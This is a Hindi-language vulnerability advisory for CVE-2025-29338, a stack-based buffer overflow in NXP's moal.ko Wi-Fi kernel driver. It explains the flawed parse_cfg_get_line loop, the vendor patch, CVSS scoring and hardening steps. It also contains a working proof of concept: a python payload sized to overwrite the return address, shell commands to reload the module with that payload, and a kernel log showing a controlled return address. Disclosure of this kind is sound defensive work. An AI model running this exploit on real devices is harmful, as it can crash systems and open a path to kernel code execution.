
तकनीकी सलाह और एक स्टैक-आधारित बफर ओवरफ्लो (CWE-121) के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो NXP moal.ko वाई-फाई कर्नेल ड्राइवर में स्थित है, जिससे स्थानीय कर्नेल पैनिक और संभावित मनमाना कोड निष्पादन संभव होता है।
woal_setup_module_param / parse_cfg_get_line) में बफर ओवरफ़्लो| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2025-29338 |
| गंभीरता | उच्च |
| CVSS v3.1 स्कोर | 7.8 |
| CVSS v3.1 वेक्टर | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| भेद्यता प्रकार | स्टैक-आधारित बफर ओवरफ़्लो (CWE-121) |
| हमला वेक्टर | स्थानीय |
| विक्रेता | NXP सेमीकंडक्टर्स |
| विक्रेता पैच स्थिति | पैच किया गया |
| खोजकर्ता | महमूद जदान — diconium auto GmbH |
NXP moal.ko वाई-फाई कर्नेल ड्राइवर (संस्करण 5.1.7.10) में फ़र्मवेयर बिल्ड v17.92.1.p149.43 से v17.92.1.p149.157 में एक स्टैक-आधारित बफर ओवरफ़्लो भेद्यता मौजूद है। यह भेद्यता parse_cfg_get_line (mlinux/moal_init.c) में स्थित है, जिसे woal_setup_module_param से कॉल किया जाता है। वह व्हाइल लूप जो कॉन्फ़िगरेशन फ़ाइल लाइनों को एक निश्चित-आकार के स्टैक बफर में पढ़ता है, उसमें गंतव्य सीमा जांच का अभाव है, जिससे मनमानी लंबाई की एक लाइन बफर को ओवरफ़्लो कर सकती है, स्टैक को दूषित कर सकती है, और कर्नेल पैनिक ट्रिगर कर सकती है। NXP PSIRT ने भेद्यता की पुष्टि की और फिक्स जारी किया गया है।
woal_setup_module_param एक निश्चित स्टैक बफर MAX_LINE_LEN बाइट्स आवंटित करता है और mod_para कॉन्फ़िगरेशन फ़ाइल को संसाधित करते समय प्रत्येक पुनरावृत्ति पर parse_cfg_get_line को पास करता है:
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
// process line
}
parse_cfg_get_line के असुरक्षित संशोधन में, व्हाइल लूप की स्थिति केवल स्रोत स्थान और लाइन टर्मिनेटरों की जांच करती है — गंतव्य बफर में कितने बाइट्स लिखे गए हैं, इसकी कोई जांच नहीं है:
// parse_cfg_get_line — असुरक्षित संस्करण (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
t_u8 *src, *dest;
static t_s32 pos;
if (pos >= size) {
pos = 0;
return -1;
}
memset(line_pos, 0, MAX_LINE_LEN);
src = data + pos;
dest = line_pos;
while (pos < size && *src != '\x0A' && *src != '\0') {
if (*src != ' ' && *src != '\t')
*dest++ = *src++; // अनियंत्रित लेखन — कोई dest सीमा जांच नहीं
else
src++;
pos++;
}
pos++;
*dest = '\0';
return strlen(line_pos);
}
एक कॉन्फ़िगरेशन फ़ाइल लाइन जो MAX_LINE_LEN बाइट्स से लंबी होती है, dest को कॉलर के स्टैक बफर के अंत से आगे बढ़ने का कारण बनती है, जिससे आसन्न स्टैक मेमोरी, जिसमें सहेजा गया फ्रेम पॉइंटर और रिटर्न एड्रेस शामिल है, ओवरराइट हो जाती है।
| विशेषता | मान |
|---|
ड्राइवर सिस्टम स्टार्टअप पर insmod का उपयोग करके mod_para पैरामीटर के साथ लोड किया जाता है, जो एक कॉन्फ़िगरेशन फ़ाइल की ओर इशारा करता है। एक हमलावर जो एक क्राफ्टेड कॉन्फ़िगरेशन फ़ाइल लिख सकता है और कर्नेल मॉड्यूल को पुनः लोड कर सकता है, ओवरफ़्लो को ट्रिगर कर सकता है।
| प्रभाव | विवरण |
|---|---|
| सेवा से वंचित | कर्नेल पैनिक — पुष्टि; तत्काल सिस्टम रीबूट का कारण बनता है |
| कर्नेल मेमोरी भ्रष्टाचार | स्टैक स्मैशिंग सहेजे गए rbp और रिटर्न एड्रेस को ओवरराइट करता है |
आधार स्कोर: 7.8 (उच्च)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
केवल रक्षात्मक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया।
#!/bin/sh
rmmod moal
rmmod mlan
स्टैक बफर As से भरा जाता है, उसके बाद स्टैक कैनरी स्लॉट के लिए 8 बाइट्स (Bs), सहेजे गए rbp के लिए 8 बाइट्स (Cs), और रिटर्न एड्रेस को ओवरराइट करने के लिए 8 बाइट्स (Ds):
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin
mod_para पथ उस निर्देशिका के सापेक्ष होना चाहिए जहां कर्नेल फ़र्मवेयर की खोज करता है (आमतौर पर /lib/firmware/)। तदनुसार पथ बनाएँ:
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin
insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
mod_para=$PAYLOAD_PATH \
drvdbg=0x7
मॉड्यूल आरंभीकरण के दौरान तुरंत एक कर्नेल पैनिक ट्रिगर होता है। कर्नेल लॉग पुष्टि करते हैं कि रिटर्न एड्रेस 0x4444444444444444 (ASCII DDDDDDDD) से ओवरराइट किया गया है, जो निर्देश पॉइंटर पर पूर्ण नियंत्रण प्रदर्शित करता है:
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444 <-- controlled return address
NXP PSIRT ने भेद्यता की पुष्टि की और mlinux/moal_init.c के लिए निम्नलिखित पैच प्रदान किया। फिक्स parse_cfg_get_line लूप के अंदर एक सीमा जांच जोड़ता है ताकि MAX_LINE_LEN से अधिक होने से पहले बाहर निकला जा सके:
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
else
src++;
pos++;
+ if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+ PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+ break;
+ }
}
/* parse new line */
pos++;
फ़र्मवेयर संस्करण v17.92.1.p149.157 से आगे अपडेट करें जिसमें उपरोक्त पैच शामिल है। अतिरिक्त हार्डनिंग के रूप में:
CAP_SYS_MODULE को विश्वसनीय प्रशासकों तक सीमित करें; SELinux, AppArmor, या seccomp के माध्यम से init_module / finit_module सिस्टम कॉल प्रतिबंध लागू करें।mod_para द्वारा संदर्भित पथ और वह फ़ाइलें जिनकी ओर यह इशारा करता है, केवल रूट द्वारा लिखने योग्य हैं।NXP PSIRT ने भेद्यता की पुष्टि की। फिक्स को एक औपचारिक सॉफ़्टवेयर अपडेट के हिस्से के रूप में जारी किया गया है।
खोजकर्ता: महमूद जदान — diconium auto GmbH
यह सलाह CVE प्रोग्राम प्रति न्यूनतम CVE प्रकटीकरण आवश्यकताओं को पूरा करने के लिए एक सार्वजनिक संदर्भ के रूप में प्रकाशित की गई है।
| फ़ील्ड | विवरण |
|---|
| विक्रेता | NXP सेमीकंडक्टर्स |
| घटक | moal.ko वाई-फाई कर्नेल ड्राइवर |
| ड्राइवर संस्करण | 5.1.7.10 |
| फ़र्मवेयर — पहला प्रभावित | v17.92.1.p149.43 |
| फ़र्मवेयर — अंतिम प्रभावित | v17.92.1.p149.157 |
| प्रकार | स्थानीय |
| आवश्यक विशेषाधिकार | CAP_SYS_MODULE (रूट या समकक्ष) |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| हमला सतह | mod_para कर्नेल मॉड्यूल पैरामीटर (कॉन्फ़िगरेशन फ़ाइल पथ) |
| रिटर्न एड्रेस नियंत्रित — स्थान पर शमन (स्टैक कैनरी, KASLR, आदि) के आधार पर मनमाना कर्नेल-मोड कोड निष्पादन संभव हो सकता है |
| मीट्रिक | मान | तर्क |
|---|
| हमला वेक्टर (AV) | स्थानीय (L) | स्थानीय सिस्टम एक्सेस आवश्यक है |
| हमला जटिलता (AC) | निम्न (L) | कोई दौड़ की स्थिति या जटिल पूर्वापेक्षाएँ नहीं |
| आवश्यक विशेषाधिकार (PR) | उच्च (H) | CAP_SYS_MODULE / रूट आवश्यक है |
| उपयोगकर्ता सहभागिता (UI) | कोई नहीं (N) | पूरी तरह से हमलावर-नियंत्रित |
| दायरा (S) | अपरिवर्तित (U) | प्रभाव कर्नेल संदर्भ में रहता है |
| गोपनीयता (C) | उच्च (H) | कर्नेल मेमोरी संभावित रूप से पढ़ने योग्य है |
| अखंडता (I) | उच्च (H) | रिटर्न एड्रेस ओवरराइट प्रदर्शित किया गया |
| उपलब्धता (A) | उच्च (H) | कर्नेल पैनिक / रीबूट पुष्टि की गई |